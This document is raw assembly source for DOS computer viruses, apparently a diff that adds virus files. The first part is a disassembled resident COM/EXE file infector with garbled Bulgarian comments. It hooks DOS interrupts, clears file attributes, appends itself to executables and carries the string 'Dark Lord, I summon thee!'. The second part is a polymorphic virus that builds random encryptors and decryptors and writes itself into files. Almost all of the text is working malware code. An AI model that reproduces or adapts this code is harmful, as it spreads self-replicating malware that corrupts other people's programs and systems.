|
||||||
|
data_10 dw 5A4Dh
|
||||||
|
db 21h, 1, 6, 0, 0, 0
|
||||||
|
db 20h, 0, 0, 0, 0FFh, 0FFh
|
||||||
|
data_11 dw 0
|
||||||
|
data_12 dw 0
|
||||||
|
db 0BBh, 0DDh
|
||||||
|
data_13 dd 00100h
|
||||||
|
db 'COMMAND.COM'
|
||||||
|
db 0
|
||||||
|
|
||||||
|
prob endp
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_1 proc near ; �°®¢¥°¿¢ ¤ «¨ ¥ EXE
|
||||||
|
cmp cs:data_10,4D5Ah ; (6C11:0102=5A4Dh)
|
||||||
|
je loc_ret_2 ; Jump if equal
|
||||||
|
cmp cs:data_10,5A4Dh ; (6C11:0102=5A4Dh)
|
||||||
|
|
||||||
|
loc_ret_2:
|
||||||
|
retn
|
||||||
|
sub_1 endp
|
||||||
|
|
||||||
|
loc_3:
|
||||||
|
mov cs:data_19e,ds ; (6C11:049D=0)
|
||||||
|
push ax
|
||||||
|
mov ax,0EC59h ; �°®¢¥°¿¢ ¤ «¨ ¥ ¨±² «¨°
|
||||||
|
int 21h ; DOS Services ah=function ECh
|
||||||
|
cmp bp,ax ; €ª® AX<>BP ¥ ¥ ¨±² «¨°
|
||||||
|
jne loc_6
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
loc_4:
|
||||||
|
pop ax
|
||||||
|
mov es,cs:data_19e ; (6C11:049D=0)
|
||||||
|
call sub_1 ; (COM/EXE)?
|
||||||
|
jz loc_5 ; Jump if zero
|
||||||
|
mov cx,0Dh ; ‚º§±² ®¢¿¢ COM
|
||||||
|
mov si,102h
|
||||||
|
push es
|
||||||
|
mov di,100h
|
||||||
|
push di ; �°¥¬¥±²¢ ¯º°¢¨²¥ 13 ¡ ©²
|
||||||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
push es
|
||||||
|
pop ds ; �°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||||||
|
retf ; Return far
|
||||||
|
loc_5:
|
||||||
|
mov si,es ; ‚º§±² ®¢¿¢ EXE
|
||||||
|
add si,10h
|
||||||
|
add word ptr cs:data_13+2,si; ’®¢ ¥ ®²¬¥±²¢ ¥²® CS
|
||||||
|
add si,cs:data_11 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SS
|
||||||
|
mov di,cs:data_12 ; ’®¢ ¥ ®²¬¥±²¢ ¥²® SP
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
cli ; Disable interrupts
|
||||||
|
mov ss,si
|
||||||
|
mov sp,di
|
||||||
|
sti ; Enable interrupts
|
||||||
|
jmp cs:data_13 ; �°¥µ®¤ ªº¬ ¯°®£° ¬ ²
|
||||||
|
loc_6:
|
||||||
|
mov ax,3521h
|
||||||
|
int 21h ; DOS Services ah=function 35h
|
||||||
|
; get intrpt vector al in es:bx
|
||||||
|
mov dx,bx
|
||||||
|
push es
|
||||||
|
pop ds
|
||||||
|
mov ax,25ECh ; �°¥¬¥±²¢ INT 21H INT ECH
|
||||||
|
int 21h ; DOS Services ah=function 25h
|
||||||
|
; set intrpt vector al to ds:dx
|
||||||
|
mov ax,cs:data_19e ; (6C11:049D=0)
|
||||||
|
mov es,ax
|
||||||
|
dec ax
|
||||||
|
mov ds,ax
|
||||||
|
mov bx,word ptr ds:data_2e+1 ; (6B7E:0003=0)
|
||||||
|
sub bx,65h
|
||||||
|
add ax,bx
|
||||||
|
mov es:data_2e,ax ; (6B7E:0002=0)
|
||||||
|
mov ah,4Ah ; 'J'
|
||||||
|
int 0ECh
|
||||||
|
mov bx,64h
|
||||||
|
mov ah,48h ; 'H'
|
||||||
|
int 0ECh
|
||||||
|
sub ax,10h
|
||||||
|
mov es,ax
|
||||||
|
mov byte ptr ds:data_1e,5Ah ; (6B7E:0000=0) 'Z'
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov si,100h
|
||||||
|
mov di,si
|
||||||
|
mov cx,39Fh
|
||||||
|
nop ; �°¥¬¥±²¢ ±¥ ¢º¢ ¢¨±®ª¨²¥ ¤°¥±¨
|
||||||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
mov di,1D0h
|
||||||
|
push es
|
||||||
|
push di
|
||||||
|
retf ; Return far
|
||||||
|
mov word ptr es:data_4e,70h ; (6B7E:00F1=0)
|
||||||
|
mov ax,3521h ;(??) ’ §¨ ¨±²°³ª¶¨¿ ¬®¦¥ ¤ ±¥ ®¯²¨¬¨§¨°
|
||||||
|
int 0ECh
|
||||||
|
mov cs:data_15,bx ; (6C11:0216=12E4h)
|
||||||
|
mov cs:data_16,es ; (6C11:0218=12Eh)
|
||||||
|
mov ah,25h ; '%'
|
||||||
|
mov dx,201h
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
int 0ECh ; �°¥µ¢ ¹ ¢¥ª²®° INT 21H
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov di,49Fh
|
||||||
|
mov cx,19h
|
||||||
|
mov al,0 ; �³«¨° 19h ¡ ©² ±«¥¤ ª° ¿
|
||||||
|
rep stosb ; Rep when cx >0 Store al to es:[di]
|
||||||
|
jmp loc_4 ; ‚º§±² ®¢¿¢ ¯°®£° ¬ ²
|
||||||
|
loc_7:
|
||||||
|
mov bp,ax ; ’®¢ ¥ ´³ª¶¨¿ ECH
|
||||||
|
iret ; Interrupt return
|
||||||
|
cmp ax,0EC59h ; ‚•Ž„�€ ’Ž—Š€ �€ INT 21H
|
||||||
|
je loc_7 ; Jump if equal
|
||||||
|
cmp ax,4B00h
|
||||||
|
je loc_9 ; Jump if equal
|
||||||
|
cmp ah,3Dh ; '='
|
||||||
|
je loc_11 ; Jump if equal
|
||||||
|
cmp ah,3Eh ; '>'
|
||||||
|
je loc_13 ; Jump if equal
|
||||||
|
loc_8:
|
||||||
|
jmp far ptr loc_1 ;*(012E:12E4)
|
||||||
|
loc_9:
|
||||||
|
call sub_2 ; (028B)
|
||||||
|
jmp short loc_8 ; (0215)
|
||||||
|
loc_10:
|
||||||
|
pop cx
|
||||||
|
jmp short loc_8 ; (0215)
|
||||||
|
loc_11:
|
||||||
|
push cx
|
||||||
|
call sub_6 ; (040E)
|
||||||
|
jc loc_10 ; Jump if carry Set
|
||||||
|
cmp cx,20h
|
||||||
|
pop cx
|
||||||
|
jnz loc_8 ; Jump if not zero
|
||||||
|
mov al,2
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||||||
|
jc loc_ret_12 ; Jump if carry Set
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
mov bx,ax
|
||||||
|
mov al,cs:data_21e ; (6C11:04B8=0)
|
||||||
|
mov cs:data_20e[bx],al ; (6C11:049F=0)
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
|
||||||
|
loc_ret_12:
|
||||||
|
retf 2 ; Return far
|
||||||
|
loc_13:
|
||||||
|
cmp byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||||||
|
je loc_8 ; Jump if equal
|
||||||
|
push ax
|
||||||
|
mov al,cs:data_20e[bx] ; (6C11:049F=0)
|
||||||
|
mov cs:data_21e,al ; (6C11:04B8=0)
|
||||||
|
mov byte ptr cs:data_20e[bx],0 ; (6C11:049F=0)
|
||||||
|
mov ah,45h ; 'E'
|
||||||
|
int 0ECh
|
||||||
|
mov cs:data_19e,ax ; (6C11:049D=0)
|
||||||
|
pop ax
|
||||||
|
jc loc_8 ; Jump if carry Set
|
||||||
|
pushf ; Push flags
|
||||||
|
call dword ptr cs:[216h] ; (6C11:0216=12E4h)
|
||||||
|
jc loc_ret_12 ; Jump if carry Set
|
||||||
|
push bx
|
||||||
|
mov bx,cs:data_19e ; (6C11:049D=0)
|
||||||
|
push ds
|
||||||
|
call sub_3 ; (02BB)
|
||||||
|
call sub_4 ; (02DC)
|
||||||
|
call sub_5 ; (03FA)
|
||||||
|
pop ds
|
||||||
|
pop bx
|
||||||
|
clc ; Clear carry flag
|
||||||
|
retf 2 ; Return far
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_2 proc near
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
call sub_6 ; (040E)
|
||||||
|
jc loc_16 ; €ª® ¥ ¥ ¨§¯º«¨¬ ¨§µ®¤
|
||||||
|
push cx
|
||||||
|
push ds
|
||||||
|
call sub_3 ; �°¥ ±®·¢ INT 24H
|
||||||
|
pop ds
|
||||||
|
mov ax,4301h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
int 0ECh ; �°®¬¥¿ ²°¨¡³²¨²¥
|
||||||
|
jc loc_14 ; Jump if carry Set
|
||||||
|
mov ax,3D02h ; ޲¢ °¿ £® § ·¥²¥¥
|
||||||
|
int 0ECh
|
||||||
|
mov bx,ax
|
||||||
|
loc_14:
|
||||||
|
pop cx
|
||||||
|
jc loc_15 ; €ª® ¨¬ £°¥¸ª ¨§µ®¤
|
||||||
|
call sub_4 ; (02DC)
|
||||||
|
mov ax,4301h
|
||||||
|
int 0ECh
|
||||||
|
loc_15:
|
||||||
|
call sub_5 ; (03FA)
|
||||||
|
loc_16:
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_2 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_3 proc near ; �°¥ ±®·¢ INT 24H
|
||||||
|
push ax
|
||||||
|
push dx
|
||||||
|
push bx
|
||||||
|
push es
|
||||||
|
mov ax,3524h
|
||||||
|
int 0ECh
|
||||||
|
mov cs:data_17e,bx ; (6C11:0499=0)
|
||||||
|
mov cs:data_18e,es ; (6C11:049B=0)
|
||||||
|
pop es
|
||||||
|
pop bx
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,469h
|
||||||
|
mov ah,25h
|
||||||
|
int 0ECh ; �°¥ ±®·¢ INT 24H
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_3 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_4 proc near
|
||||||
|
push ax
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push ds
|
||||||
|
mov di,102h
|
||||||
|
mov cx,0FFFFh
|
||||||
|
mov dx,0FFFAh
|
||||||
|
mov ax,4202h
|
||||||
|
int 0ECh ; �°¥¬¥±²¢ ³ª § ²¥«¿ ¢ ª° ¿
|
||||||
|
mov ah,3Fh ; '?'
|
||||||
|
mov cx,6
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,di
|
||||||
|
int 0ECh ; —¥²¥ 6 ¡ ©²
|
||||||
|
jc loc_17 ; Jump if carry Set
|
||||||
|
cmp word ptr cs:[di],4E41h ; �°®¢¥°¿¢ ¤ «¨ ¥ § ° §¥
|
||||||
|
je loc_17 ; Jump if equal
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov ax,4200h
|
||||||
|
int 0ECh ; �°¥¬¥±²¢ FP ¢ · «®²®
|
||||||
|
mov ah,3Fh ; �®¬¥±²¥¢ ¯º°¢¨²¥ 18h ¡ ©²
|
||||||
|
mov cx,18h ; ®² CS:100
|
||||||
|
mov dx,di
|
||||||
|
int 0ECh ; —¥²¥ ¯º°¢¨²¥ 18h ¡ ©²
|
||||||
|
jnc loc_18 ; Jump if carry=0
|
||||||
|
loc_17:
|
||||||
|
jmp loc_27 ; (03E6)
|
||||||
|
loc_18:
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
cmp byte ptr cs:data_21e,2 ; (6C11:04B8=0)
|
||||||
|
jne loc_19 ; Jump if not equal
|
||||||
|
cmp word ptr [di+1],4000h
|
||||||
|
ja loc_17 ; Jump if above
|
||||||
|
dec cx
|
||||||
|
mov dx,0C0h
|
||||||
|
sub dx,499h
|
||||||
|
loc_19:
|
||||||
|
mov ax,4202h ; �°¥¬¥±²¢ FP ¢ ª° ¿ ´ ¨«
|
||||||
|
loc_20:
|
||||||
|
int 0ECh
|
||||||
|
test ax,0Fh
|
||||||
|
jz loc_21 ; Jump if zero
|
||||||
|
mov cx,dx ; ‡ ª°º£«¿ ¤® 16
|
||||||
|
mov dx,ax
|
||||||
|
add dx,10h
|
||||||
|
adc cx,0
|
||||||
|
and dl,0F0h
|
||||||
|
mov ax,4200h ; �°¥¬¥±²¢ § ª°º£«¥¨¿
|
||||||
|
jmp short loc_20 ; (0339)
|
||||||
|
loc_21:
|
||||||
|
call sub_1 ; (0126)
|
||||||
|
jz loc_23 ; ” ¨«º² ¥ EXE
|
||||||
|
or dx,dx ; Zero ?
|
||||||
|
jnz loc_17 ; Jump if not zero
|
||||||
|
cmp ax,400h
|
||||||
|
jae loc_22 ; Jump if above or =
|
||||||
|
jmp loc_27 ; (03E6)
|
||||||
|
loc_22:
|
||||||
|
cmp ax,0FA00h
|
||||||
|
ja loc_27 ; Jump if above
|
||||||
|
loc_23:
|
||||||
|
mov cl,4
|
||||||
|
shr ax,cl ; Shift w/zeros fill
|
||||||
|
mov si,ax
|
||||||
|
mov cl,0Ch
|
||||||
|
shl dx,cl ; Shift w/zeros fill
|
||||||
|
add si,dx ; �®«³· ¢ ¤º«¦¨ ² ¢ ¯ ° £° ´¨
|
||||||
|
mov ah,40h ; ‡ ¯¨±¢ 399h ¡ ©²
|
||||||
|
mov dx,100h
|
||||||
|
mov cx,399h
|
||||||
|
nop
|
||||||
|
int 0ECh
|
||||||
|
jc loc_27 ; Jump if carry Set
|
||||||
|
call sub_1
|
||||||
|
jnz loc_25 ; Jump if not zero
|
||||||
|
sub si,10h
|
||||||
|
sub si,cs:[di+8] ; Š®°¨£¨° ¯°¥´¨ª±
|
||||||
|
mov word ptr cs:[di+14h],100h
|
||||||
|
mov cs:[di+16h],si
|
||||||
|
mov word ptr cs:[di+10h],400h
|
||||||
|
add si,44h
|
||||||
|
nop
|
||||||
|
mov cs:[di+0Eh],si
|
||||||
|
mov ax,4202h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
int 0ECh ; ‚§¥¬ ¤º«¦¨ ²
|
||||||
|
mov cx,200h
|
||||||
|
div cx ; ax,dx rem=dx:ax/reg
|
||||||
|
or dx,dx ; Zero ?
|
||||||
|
jz loc_24 ; Jump if zero
|
||||||
|
inc ax
|
||||||
|
loc_24:
|
||||||
|
mov cs:[di+2],dx ;�°®¬¥¿ ¤º«¦¨ ² ¢ ¯°¥´¨ª±
|
||||||
|
mov cs:[di+4],ax
|
||||||
|
jmp short loc_26 ; (03D4)
|
||||||
|
loc_25:
|
||||||
|
push si
|
||||||
|
push di
|
||||||
|
push es
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov si,46Ch
|
||||||
|
mov cx,0Bh
|
||||||
|
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||||||
|
pop es
|
||||||
|
pop di
|
||||||
|
pop word ptr [di+0Bh]
|
||||||
|
loc_26:
|
||||||
|
mov ax,4200h ; �°¥¬¥±²¢ FP ¢ · «®²®
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
int 0ECh
|
||||||
|
mov ah,40h ; ‡ ¯¨±¢ ¯º°¢¨²¥ 16h ¡ ©²
|
||||||
|
mov cx,18h
|
||||||
|
mov dx,di
|
||||||
|
int 0ECh
|
||||||
|
loc_27: ; ‚§¥¬ ¤ ² ² ¬³ ¨ ¿ § ¯¨±¢
|
||||||
|
mov ax,5700h
|
||||||
|
int 0ECh
|
||||||
|
mov al,1
|
||||||
|
int 0ECh
|
||||||
|
mov ah,3Eh ; ‡ ²¢ °¿ ´ ¨«
|
||||||
|
int 0ECh
|
||||||
|
pop ds
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_4 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_5 proc near ; ‚º§±² ®¢¿¢ INT 24H
|
||||||
|
push ax
|
||||||
|
push dx
|
||||||
|
push ds
|
||||||
|
mov ax,2524h
|
||||||
|
mov dx,cs:data_17e ; (6C11:0499=0)
|
||||||
|
mov ds,cs:data_18e ; (6C11:049B=0)
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_5 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_6 proc near ; ‡ ¯ §¢ °¥£¨±²°¨²¥
|
||||||
|
push ax
|
||||||
|
push es
|
||||||
|
push di
|
||||||
|
push bx
|
||||||
|
mov di,dx
|
||||||
|
push ds
|
||||||
|
pop es
|
||||||
|
mov al,0
|
||||||
|
mov cx,40h ; ’º°±¨ ª° ¿² ¨¬¥²® ´ ¨«
|
||||||
|
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
|
||||||
|
mov ax,[di-3]
|
||||||
|
mov cx,[di-5]
|
||||||
|
and ax,5F5Fh
|
||||||
|
and ch,5Fh
|
||||||
|
cmp ax,4D4Fh ;(COM)?
|
||||||
|
jne loc_29
|
||||||
|
cmp cx,432Eh
|
||||||
|
je $+10h ; Jump if equal
|
||||||
|
loc_28:
|
||||||
|
stc ; Set carry flag
|
||||||
|
jmp short $+2Fh
|
||||||
|
loc_29:
|
||||||
|
cmp ax,4558h
|
||||||
|
jne loc_28 ; Jump if not equal
|
||||||
|
cmp cx,452Eh
|
||||||
|
sub_6 endp
|
||||||
|
|
||||||
|
|
||||||
|
seg_b ends
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------- stack_seg_c ---
|
||||||
|
|
||||||
|
stack_seg_c segment para stack
|
||||||
|
|
||||||
|
db 75h, 0F2h, 0B9h, 7, 0, 0BBh
|
||||||
|
db 0FFh, 0FFh, 43h, 8Ah, 41h, 0F4h
|
||||||
|
db 24h, 5Fh, 2Eh, 3Ah, 87h, 1Ah
|
||||||
|
db 1, 0E1h, 0F3h, 0B0h, 1, 75h
|
||||||
|
db 2, 0B0h, 2, 2Eh, 0A2h, 0B8h
|
||||||
|
db 4, 0B8h, 0, 43h, 0CDh, 0ECh
|
||||||
|
db 5Bh, 5Fh, 7, 58h, 0C3h, 0B0h
|
||||||
|
db 3, 0CFh, 50h, 8Ch, 0C8h, 1
|
||||||
|
db 6, 0Bh, 1, 58h, 0EAh, 0
|
||||||
|
db 1
|
||||||
|
db ' Dark Lord, I summon thee!'
|
||||||
|
db 0
|
||||||
|
db 4Dh, 41h, 4Eh, 4Fh, 57h, 41h
|
||||||
|
db 52h
|
||||||
|
db 935 dup (0)
|
||||||
|
|
||||||
|
stack_seg_c ends
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
end start
|
||||||
|
|
||||||
@@ -0,0 +1,883 @@
|
|||||||
|
.model tiny
|
||||||
|
.code
|
||||||
|
.386
|
||||||
|
|
||||||
|
code_size equ code_end-code_start
|
||||||
|
filecodelength equ filecodeend-code_start
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
code_start:
|
||||||
|
start:
|
||||||
|
call StartDecryptSimple
|
||||||
|
|
||||||
|
SimpleCryptStart:
|
||||||
|
|
||||||
|
call InstallVirus ; Call Install routine
|
||||||
|
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following code randomly creates an encryptor and a matching :+
|
||||||
|
;+ decryptor. :+
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
|
||||||
|
WriteVirus:
|
||||||
|
push bx ; Save filehandle
|
||||||
|
in ax,40h ; Get random
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+Create random values to use in instructions+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
mov si,offset Rand1a ; First random in decryptor OP-codes
|
||||||
|
mov di,offset Rand1b ; First random in encryptor OP-codes
|
||||||
|
mov cx,5 ; 7*2 OP-codes to change
|
||||||
|
SetRandom:
|
||||||
|
mov [si],al
|
||||||
|
mov [di],al
|
||||||
|
add si,4 ; Next OP-code
|
||||||
|
add di,4 ; -----"-----
|
||||||
|
xor ax, 'P'-'O'-'O'-'R' ; Generate...
|
||||||
|
rol ax,5 ; ..new...
|
||||||
|
xor ax,'R'-'E'-'B'-'O'-'U'-'N'-'D' ; random
|
||||||
|
loop SetRandom
|
||||||
|
|
||||||
|
;+:+:+:+:+:+: Copy instructions from ENCode and DECode :+:+:+:+:+:+:+:
|
||||||
|
|
||||||
|
CreateCode:
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov cx,13 ;Counter, max 13 sequences
|
||||||
|
mov di,offset CCode1
|
||||||
|
mov si,offset DECode
|
||||||
|
mov word ptr ds:[CLength],0h ;Length of decryptor
|
||||||
|
CreateLoop:
|
||||||
|
mov si,offset DECode
|
||||||
|
in ax,40h ; Get random
|
||||||
|
ror ax,cl
|
||||||
|
xor ax,'I'-'M'-'M'-'O'-'R'-'T'-'A'-'L'
|
||||||
|
sub ax, 'R'-'I'-'O'-'T'
|
||||||
|
push ax ;Save for later use
|
||||||
|
mov bl,al
|
||||||
|
and bl,15 ;Mask only 0-15
|
||||||
|
shl bl,2 ;mul 4 to get right offset
|
||||||
|
xor bh,bh
|
||||||
|
add si,bx ;Get right OP-code
|
||||||
|
movsd ;move one inst (4 bytes)
|
||||||
|
|
||||||
|
std ;count backwards
|
||||||
|
push cx
|
||||||
|
push di ;Move code in CCode one inst
|
||||||
|
push si ;forward, so next inst could
|
||||||
|
mov si,offset CCode2+13*4 ;be first.
|
||||||
|
mov di,offset CCode2+14*4
|
||||||
|
mov cx,14
|
||||||
|
rep movsd
|
||||||
|
pop si
|
||||||
|
mov di,offset CCode2
|
||||||
|
cld
|
||||||
|
|
||||||
|
cmp bl,29 ;Should we use alt. encrypt?
|
||||||
|
jnb short Garbage ;No, just garbage-instructions
|
||||||
|
|
||||||
|
add si,ENCode-DECode-4 ;Get right pos in ENCode
|
||||||
|
movsd ;move one inst (4 bytes)
|
||||||
|
sub si,ENCode-DECode ;Back to old pos in DECode
|
||||||
|
jmp short NoGarbage
|
||||||
|
Garbage:
|
||||||
|
sub si,4 ;Same instructions again
|
||||||
|
movsd
|
||||||
|
NoGarbage:
|
||||||
|
pop di
|
||||||
|
pop cx
|
||||||
|
add word ptr ds:[CLength],4 ;Add length of decryptor
|
||||||
|
pop ax ;Get random value again
|
||||||
|
and ax,128+64 ;Leave de/encryptor like this?
|
||||||
|
jz short QuitLoop
|
||||||
|
loop CreateLoop
|
||||||
|
QuitLoop:
|
||||||
|
|
||||||
|
;+:+:+: Build the first instruction in decryptor (mov cx,??) :+:+:+:+:
|
||||||
|
|
||||||
|
xor ax,ax
|
||||||
|
in al,40h ; Another random
|
||||||
|
xor al,'A'
|
||||||
|
and al,7 ;Random between 0 and 7
|
||||||
|
mov byte ptr ds:[InitCX1],0b9h ;OP-Code for mov cx,?
|
||||||
|
mov bx,filecodelength
|
||||||
|
add bx,ax
|
||||||
|
mov word ptr ds:[InitCX1+1],bx ;Value to put in CX (counter)
|
||||||
|
|
||||||
|
;+:+:+: Build to second instruction (mov si, offset codestart) :+:+:+:+:
|
||||||
|
|
||||||
|
mov byte ptr ds:[InitSI1],0beh ;OP-Code for mov si,?
|
||||||
|
mov ax,[entry_p] ;EntryPoint
|
||||||
|
add ax,word ptr ds:[CLength] ;Length of cryptlines
|
||||||
|
add ax,15 ;size of rest of loop
|
||||||
|
add ax,[IPOffs] ;Then add 100h
|
||||||
|
NoCom: mov word ptr ds:[InitSI1+1],ax ;Value to put in CX (counter)
|
||||||
|
|
||||||
|
;+:+:+: Build the instruction that increase SI :+:+:+:+:
|
||||||
|
|
||||||
|
and bl,2 ; Get random for inc si
|
||||||
|
shl bl,2 ; mul 4
|
||||||
|
mov bh,0
|
||||||
|
mov si,offset DEcSI
|
||||||
|
add si,bx ; Get pos in ADD-SI-alts.
|
||||||
|
movsd
|
||||||
|
|
||||||
|
;+:+:+: Build the loop-instruction :+:+:+:+:
|
||||||
|
|
||||||
|
mov ah,0ffh
|
||||||
|
sub ah,[CLength] ; Calculate loop operand
|
||||||
|
sub ah,5
|
||||||
|
mov al,0e2h ; OP-code for loop
|
||||||
|
mov [di],ax ; Write loop command
|
||||||
|
|
||||||
|
;+:+:+: Write RET at end of encryptionroutine :+:+:+:+:
|
||||||
|
|
||||||
|
mov di,offset CCode2 ; Encryptionroutine
|
||||||
|
add di,word ptr ds:[Clength] ; Find end of ER
|
||||||
|
mov byte ptr ds:[di],0c3h ; Write a RET
|
||||||
|
|
||||||
|
;+:+:+: Write created loader to file :+:+:+:+:
|
||||||
|
|
||||||
|
pop bx ; Get filehandle
|
||||||
|
mov ah,40h ; Function WRITE
|
||||||
|
mov cx,word ptr ds:[CLength]
|
||||||
|
add cx,12
|
||||||
|
mov dx,offset InitCX1
|
||||||
|
int 21h ; Write decryptor to file
|
||||||
|
mov word ptr ds:[File_H],bx
|
||||||
|
|
||||||
|
;+:+:+:+: Cahnge decryptor so code could use it (put ret instead of inc)
|
||||||
|
|
||||||
|
mov di,offset CCode1 ; Encryptionroutine
|
||||||
|
add di,word ptr ds:[Clength] ; Find end of ER
|
||||||
|
mov byte ptr ds:[di],0c3h ; Write a RET
|
||||||
|
|
||||||
|
;+:+:+:+: Copy enc&dec-call-routine to end of virus :+:+:+:+:
|
||||||
|
|
||||||
|
mov si,offset ED_start ; Start of ED-routine
|
||||||
|
mov di,offset ED_buf ; buffer beyond virus
|
||||||
|
mov cx,ED_End-ED_start ; Size of ED-routine
|
||||||
|
rep movsb
|
||||||
|
call filecodeend ; Call copy
|
||||||
|
|
||||||
|
ret
|
||||||
|
|
||||||
|
;------ Routine to Encrypt virus, write virus, and decrypt virus
|
||||||
|
|
||||||
|
;+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+:+
|
||||||
|
;+ Following code will be copied to memory beyond the virus, :+
|
||||||
|
;+ and then called. The routine then calls the created :+
|
||||||
|
;+ encryptor, writing the encrypted virus the the file and :+
|
||||||
|
